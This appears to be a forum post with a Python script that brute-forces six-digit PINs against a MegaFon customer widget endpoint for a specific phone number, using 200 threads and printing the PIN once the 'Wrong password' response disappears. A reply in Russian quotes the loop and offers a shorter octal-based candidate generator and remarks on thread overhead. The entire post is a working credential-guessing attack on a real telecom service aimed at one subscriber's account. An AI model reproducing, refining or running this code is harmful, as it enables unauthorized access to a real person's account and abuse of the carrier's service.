#!/usr/bin/env python
# -*- coding: utf-8 -*-
from threading import Thread
import requests
import sys
from queue import Queue
url = 'https://uralsg.megafon.ru/WIDGET_INFO/GET_INFO?X_Username=9222455455&X_Password=%s&CHANNEL=WYANDEX&LANG_ID=0&P_RATE_PLAN_POS=1&P_PAYMENT_POS=2&P_ADD_SERV_POS=4&P_DISCOUNT_POS=3'
concurrent = 200
def doWork():
while True:
password = q.get()
getStatus(password)
q.task_done()
def getStatus(password):
try:
r = requests.get(url % password)
if not('Wrong password' in r.text):
print('PIN found: %s' % password)
sys.exit(1)
except:
pass
q = Queue(concurrent * 2)
for i in range(concurrent):
t = Thread(target=doWork)
t.daemon = True
t.start()
try:
for a in range(7):
for b in range(7):
for c in range(7):
for d in range(7):
for e in range(7):
for f in range(7):
q.put('{}{}{}{}{}{}'.format(a, b, c, d, e, f))
q.join()
except KeyboardInterrupt:
sys.exit(1)
try:
for a in range(7):
for b in range(7):
for c in range(7):
for d in range(7):
for e in range(7):
for f in range(7):
q.put('{}{}{}{}{}{}'.format(a, b, c, d, e, f))
Жесть какая, можно сделать так:
Код:
for i in map(lambda x: format(x, 'o'), range(0o666667)):
q.put(i)
200 потоков - тоже жесть, интерпретатор задохнется от блокировок.